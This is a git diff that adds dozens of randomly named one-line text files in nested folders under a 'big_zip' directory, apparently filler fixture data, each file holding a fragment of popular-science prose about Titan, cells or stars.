diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gzbzjrbxenu.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gzbzjrbxenu.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_gzbzjrbxenu.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_isojlhpjgbvihbmecfpclu.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_isojlhpjgbvihbmecfpclu.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_isojlhpjgbvihbmecfpclu.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmbtytnujthdwaiwgyfblf.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmbtytnujthdwaiwgyfblf.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmbtytnujthdwaiwgyfblf.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmhuwsvvj.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmhuwsvvj.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_jmhuwsvvj.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_krktdoszralivt.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_krktdoszralivt.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_krktdoszralivt.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ksimrlmzldnpkkv.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ksimrlmzldnpkkv.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_ksimrlmzldnpkkv.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_kxvbhkvhshej.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_kxvbhkvhshej.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_kxvbhkvhshej.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_nwbclehojlfcvnqzifovib.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_nwbclehojlfcvnqzifovib.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_nwbclehojlfcvnqzifovib.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_onpaieodoxurkpbb.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_onpaieodoxurkpbb.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_onpaieodoxurkpbb.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_pjhyxqqvpktfpprqgo.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_pjhyxqqvpktfpprqgo.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_pjhyxqqvpktfpprqgo.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_putdhvzxbrqjbsqmlq.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_putdhvzxbrqjbsqmlq.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_putdhvzxbrqjbsqmlq.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_rbkclvtl.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_rbkclvtl.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_rbkclvtl.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tetszwnejnzygxtxnxnkj.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tetszwnejnzygxtxnxnkj.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tetszwnejnzygxtxnxnkj.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tpsllmcxilkxu.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tpsllmcxilkxu.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_tpsllmcxilkxu.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_uxybtyerzuu.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_uxybtyerzuu.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_uxybtyerzuu.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xludekvtgewekwwigzw.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xludekvtgewekwwigzw.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xludekvtgewekwwigzw.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xsaiawywlou.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xsaiawywlou.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_xsaiawywlou.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_zwqtqpdygsoqpebyn.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_zwqtqpdygsoqpebyn.txt
new file mode 100644
index 0000000..4ad7547
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/file_zwqtqpdygsoqpebyn.txt
@@ -0,0 +1 @@
+abundant organic molecules on its surface and in its atmosphere, Titan is a remarkable and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_bmmanhunvx.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_bmmanhunvx.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_bmmanhunvx.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dpzfyrzslmqw.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dpzfyrzslmqw.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dpzfyrzslmqw.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dzgqjqwxpdtcsjlict.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dzgqjqwxpdtcsjlict.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_dzgqjqwxpdtcsjlict.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_evbfbygifecnc.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_evbfbygifecnc.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_evbfbygifecnc.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ewraoqhmnpxftzcbqrflf.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ewraoqhmnpxftzcbqrflf.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ewraoqhmnpxftzcbqrflf.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_fqxyjfimofxsrzgguwad.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_fqxyjfimofxsrzgguwad.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_fqxyjfimofxsrzgguwad.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_jbwtyzuxnokearfu.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_jbwtyzuxnokearfu.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_jbwtyzuxnokearfu.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_kkdeziyxabwnbywndqnaiiwx.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_kkdeziyxabwnbywndqnaiiwx.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_kkdeziyxabwnbywndqnaiiwx.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_mbetwatmgvpahbzwcdmxe.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_mbetwatmgvpahbzwcdmxe.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_mbetwatmgvpahbzwcdmxe.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ndnsyhtnoa.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ndnsyhtnoa.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ndnsyhtnoa.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_offfdgegtplz.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_offfdgegtplz.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_offfdgegtplz.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_qqhwxxhbnuxkkdlqkr.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_qqhwxxhbnuxkkdlqkr.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_qqhwxxhbnuxkkdlqkr.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ryufiggkxm.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ryufiggkxm.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ryufiggkxm.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_teprnxhvnfocwxvah.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_teprnxhvnfocwxvah.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_teprnxhvnfocwxvah.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_tjnhnirzoyrh.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_tjnhnirzoyrh.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_tjnhnirzoyrh.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vhaiiovawbxhzofy.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vhaiiovawbxhzofy.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vhaiiovawbxhzofy.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vsgbsxbquqvgnfnap.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vsgbsxbquqvgnfnap.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vsgbsxbquqvgnfnap.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vwyapcroopjwxorihntnxij.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vwyapcroopjwxorihntnxij.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_vwyapcroopjwxorihntnxij.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wiqomjwjlzegpqgsmswin.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wiqomjwjlzegpqgsmswin.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wiqomjwjlzegpqgsmswin.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wjikvxjbyvrcnsm.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wjikvxjbyvrcnsm.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_wjikvxjbyvrcnsm.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xiilflwhcz.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xiilflwhcz.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xiilflwhcz.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xshbcscqrwfiqau.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xshbcscqrwfiqau.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_xshbcscqrwfiqau.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ymmhozguvusmgswxfxdtt.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ymmhozguvusmgswxfxdtt.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_ymmhozguvusmgswxfxdtt.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_zeozkujmkpdhmjkvekys.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_zeozkujmkpdhmjkvekys.txt
new file mode 100644
index 0000000..95c5596
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/file_zeozkujmkpdhmjkvekys.txt
@@ -0,0 +1 @@
+in the deep interior, in the nucleus of the cell.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/alrkrelasbpen.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/alrkrelasbpen.txt
new file mode 100644
index 0000000..8f50ec2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/alrkrelasbpen.txt
@@ -0,0 +1 @@
+close together that they touch, and the glowing stellar atmosphere flows from the distended
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/amdcsnoytzvxnrzonychrls.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/amdcsnoytzvxnrzonychrls.txt
new file mode 100644
index 0000000..209ff6e
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/amdcsnoytzvxnrzonychrls.txt
@@ -0,0 +1 @@
+predecessors, all but a tiny fraction of whom are nameless and forgotten. Every now and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/bwqjdyzuzjmez.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/bwqjdyzuzjmez.txt
new file mode 100644
index 0000000..14f3702
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/bwqjdyzuzjmez.txt
@@ -0,0 +1 @@
+As the Earth rotates, our more powerful radio transmitters slowly sweep the sky. A
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_aafkgfhjtbcsheo.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_aafkgfhjtbcsheo.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_aafkgfhjtbcsheo.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cipjkkbospcpqufldphvudk.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cipjkkbospcpqufldphvudk.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cipjkkbospcpqufldphvudk.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cxspspnvkwexoylggsc.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cxspspnvkwexoylggsc.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_cxspspnvkwexoylggsc.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_fkcctnlkm.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_fkcctnlkm.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_fkcctnlkm.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_flupgmobwzzb.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_flupgmobwzzb.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_flupgmobwzzb.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_gtnkzeozxdyypxqmxtk.txt b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_gtnkzeozxdyypxqmxtk.txt
new file mode 100644
index 0000000..8df1dd4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_edjlqfyqrh/folder_yoybgnfkvw/folder_cwjentzjpd/folder_mrrmvkqrkv/file_gtnkzeozxdyypxqmxtk.txt
@@ -0,0 +1 @@
+are trapped far above the clouds and are condemned to bounce from pole to pole until by
\ No newline at end of file
